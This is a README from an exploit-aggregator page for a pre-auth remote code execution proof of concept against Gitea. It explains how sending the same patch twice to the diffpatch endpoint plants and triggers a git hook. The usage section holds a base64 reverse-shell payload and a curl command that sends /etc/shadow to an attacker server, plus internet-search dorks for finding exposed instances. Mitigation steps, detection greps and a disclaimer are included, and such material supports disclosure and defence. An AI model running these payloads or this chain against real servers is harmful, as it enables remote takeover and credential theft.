## https://sploitus.com/exploit?id=96B20AF9-E93D-59FB-AB40-48817E5D4C64
# CVE-2026-60004 — Gitea Pre-Auth Remote Code Execution (CVSS 9.8)
```
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
```
## 📋 Overview
| Attribute | Detail |
|---|---|
| **CVE ID** | CVE-2026-60004 |
| **CVSS Score** | **9.8 (Critical)** |
| **CWE** | CWE-94 (Code Injection) |
| **Affected** | Gitea 1.17 through 1.27.0 |
| **Fixed** | Gitea 1.27.1 (released July 27, 2026) |
| **Vulnerable Endpoint** | `POST /api/v1/repos/{owner}/{repo}/diffpatch` |
| **Discovered by** | Shai Rod (NightRang3r) |
| **EPSS Score** | 0.95 (95% exploitation probability) |
## 🔬 Vulnerability Details
The vulnerability abuses how Gitea's `diffpatch` API endpoint processes user-supplied Git patches:
1. **Bare Clone Trap** — The endpoint creates a **bare** temporary clone (no working tree), meaning its root directory *is* `$GIT_DIR`.
2. **Patch Processing** — `git apply` is invoked with flags: `--index`, `--recount`, `--cached`, `--binary`, and (with Git ≥ 2.32) `-3` for three-way merge fallback.
3. **Add/Add Collision** — By sending the **same malicious patch twice**, the attacker triggers an add/add conflict. Git's three-way fallback writes the file path from the patch to disk — bypassing the `--cached` restriction.
4. **Hook Injection** — The attacker crafts the patch so the file path is `hooks/post-index-change`. Because the clone is bare, this lands directly in Git's hooks directory.
5. **Code Execution** — When Git updates the index, it automatically executes the `post-index-change` hook, running the attacker's shell commands as the **Gitea service account**.
### Exploit Chain Diagram
```
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
```
## 📦 Files
```
CVE-2026-60004-POC/
├── cve-2026-60004-poc.py # Full-featured Python exploit (4 modes)
├── CVE-2026-60004.yaml # Nuclei detection template
└── README.md # This file
```
## 🚀 Quick Start
### Python PoC (cve-2026-60004-poc.py)
```bash
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
```
### Custom Commands
```bash
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
```
### With Proxy (Burp Suite / ZAP Debugging)
```bash
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--proxy http://127.0.0.1:8080 --verbose
```
### Nuclei Template
```bash
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
```
## ⚙️ Options
| Flag | Description | Default |
|---|---|---|
| `--url` | Gitea base URL | **Required** |
| `--mode` | `full-auto`, `semi-auto`, `manual`, `check` | `full-auto` |
| `--user` | Username (semi-auto/manual) | — |
| `--pw` | Password (semi-auto/manual) | — |
| `--repo` | Repository name (manual) | auto-generated |
| `--branch` | Branch name | `main` |
| `--cmd` | Command to execute | `cat /etc/passwd` |
| `--count` | Number of patch sends (≥2) | `3` |
| `--simple-hook` | Simple hook (no git-based output retrieval) | `false` |
| `--no-retrieve` | Skip output retrieval | `false` |
| `--retrieve-timeout` | Max wait for output (seconds) | `15` |
| `--proxy` | HTTP proxy URL | — |
| `--verbose`, `-v` | Verbose output | `false` |
## 🛡️ Mitigation
### Immediate Actions
1. **Update Gitea** to version 1.27.1 or later:
```bash
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
```
2. **Disable open registration** (reduces attack surface):
```ini
# app.ini
[service]
DISABLE_REGISTRATION = true
```
3. **Run Gitea with least-privilege service account**
4. **Monitor for repeated POST requests** to the diffpatch endpoint
### Detection Queries
```bash
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
```
## 🔍 Shodan / FOFA Dorks
```
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
```
## 📚 References
- [GitHub Security Advisory (GHSA-rcr6-4jqh-j84m)](https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m)
- [EQSTLab PoC Repository](https://github.com/EQSTLab/CVE-2026-60004)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-60004)
- [ProjectDiscovery Nuclei Template](https://cloud.projectdiscovery.io/library/CVE-2026-60004)
- [Gitea 1.27.1 Release Notes](https://github.com/go-gitea/gitea/releases/tag/v1.27.1)
## ⚠️ Disclaimer
This tool is provided for **educational and authorized security testing purposes only**. Use only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and may violate:
- Computer Fraud and Abuse Act (CFAA) — United States
- Computer Misuse Act 1990 — United Kingdom
- Similar laws in other jurisdictions
The author assumes no liability for misuse or damage caused by this tool.
## 📄 License
MIT License — see the [EQSTLab repository](https://github.com/EQSTLab/CVE-2026-60004) for details.